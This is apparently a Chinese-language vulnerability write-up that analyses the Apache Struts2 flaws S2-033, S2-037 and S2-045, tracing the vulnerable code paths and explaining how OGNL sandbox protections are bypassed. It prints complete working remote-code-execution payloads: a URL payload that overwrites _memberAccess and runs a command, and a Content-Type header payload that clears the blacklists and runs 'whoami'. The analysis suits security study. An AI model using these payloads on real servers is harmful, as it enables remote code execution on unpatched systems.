S2-033和s2-037的区别是,是否需要开启动态方法调用这两个漏洞产生的点差不多,只不过s2-033的点需要 allowDynamicMethodCalls
为TRUE,s2-037不需要,具体看下面分析
什么是REST呢
1. REST描述的是在网络中client和server的一种交互形式;REST本身不实用,实用的是如何设计 RESTful API(REST风格的网络接口); 2. Server提供的RESTful API中,URL中只使用名词来指定资源,原则上不使用动词。“资源”是REST架构或者说整个网络处理的核心。
poc
#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#xx=123,#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),#wr=#context[#parameters.obj[0]].getWriter(),#wr.print(#rs),#wr.close(),#xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=open /Applications/Calculator.app
调用堆栈
最后注入的点
在 lib/struts2-rest-plugin-2.3.20.1.jar!/org/apache/struts2/rest/RestActionMapper.class
找到处理url的点,
public ActionMapping getMapping(HttpServletRequest request, ConfigurationManager configManager) { ActionMapping mapping = new ActionMapping(); String uri = RequestUtils.getUri(request); uri = this.dropExtension(uri, mapping); if (uri == null) { return null; } else { this.parseNameAndNamespace(uri, mapping, configManager); this.handleSpecialParameters(request, mapping); if (mapping.getName() == null) { return null; } else { this.handleDynamicMethodInvocation(mapping, mapping.getName());
跟进 handleDynamicMethodInvocation
没有任何过滤,只要 allowDynamicMethodCalls=True
就会将我们的payload设置为method,然后经过一系列操作会到达
看 handleDynamicMethodInvocation
方法下面
这里没有了 allowDynamicMethodCalls
的限制,直接设置了method,也就s2-037了。
Struts 2.3.20 配置文件新增加了参数为struts.excludedClasses,此参数为了严格验证排除一些不安全的对象类型。
<constant name="struts.excludedClasses" value=" java.lang.Object, java.lang.Runtime, java.lang.System, java.lang.Class, java.lang.ClassLoader, java.lang.Shutdown, ognl.OgnlContext, ognl.MemberAccess, ognl.ClassResolver, ognl.TypeConverter, com.opensymphony.xwork2.ActionContext" /> <constant name="struts.excludedPackageNamePatterns" value="^java/.lang/..*,^ognl.*,^(?!javax/.servlet/..+)(javax/..+)" />
"java.lang.Classs"值过滤struts标签中静态方法调用。
既然放在了s2-033下,当然拿它的payload来聊沙箱绕过咯
#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#xx=123,#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),#wr=#context[#parameters.obj[0]].getWriter(),#wr.print(#rs),#wr.close(),#xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=open /Applications/Calculator.app
这个poc是去覆盖掉了 _memberAccess
,在我们之前的poc中,是利用上下文中的某些变量来去突破静态方法的限制来执行命令,但是这次struts2的修复在上下文中去除掉了一些类,即使突破了也没办法去调用,这里的思路呢是去覆盖掉 SecurityMemeberAccess
对象,为什么用 DEFAULT_MEMBER_ACCESS
去覆盖呢
public static final MemberAccess DEFAULT_MEMBER_ACCESS = new DefaultMemberAccess(false);
它是 SecurityMemberAccess
的父类的实例,可以看到SecurityMemberAccess类中实现了很多安全操作,看一下没有覆盖的时候
再来看一下覆盖之后的
另外可以看到poc里面用 #parameters
来获取的部分,原因是因为引号在传递中被转义了,导致ognl语法错误
官方文档上有写
Application − Application scoped variables Session − Session scoped variables Root / value stack − All your action variables are stored here Request − Request scoped variables Parameters − Request parameters Atributes − The attributes stored in page, request, session and application scope
这个漏洞在文章 https://xz.aliyun.com/t/4662
中写过,这里不再细写
这个漏洞主要是因为在上传时使用 Jakarta
进行解析时,但是如果 content-type
错误的会进入异常,然后注入OGNL。
poc
Content-Type: %{(#nike='multipart/form-data').((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))).(#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; boundary=---------------------------96954656263154098574003468
diff一下看一下沙盒是怎么做的防护
可以看到上次的poc中的 MemberAccess
和 DefaultMemberAccess
都已经进入了黑名单
其实看这次的poc可以看出是利用 container
来获取了 ognlUtil
实例,然后我们可以知道黑名单是存储到set中的,利于clear直接清除掉,然后利用 setMemberAccess
覆盖回去,上面有一个关键的点就是使用 getInstance()
进行实例化,属于单例模式,一般用于比较大,复杂的对象,只初始化一次,而getInstance保证了每次调用都返回相同的对象。
那么我们清除了黑名单就绕过了沙盒的防御,从而RCE。
参考
https://www.secpulse.com/archives/82578.html https://www.tutorialspoint.com/struts_2/struts_value_stack_ognl.htm https://xz.aliyun.com/t/3395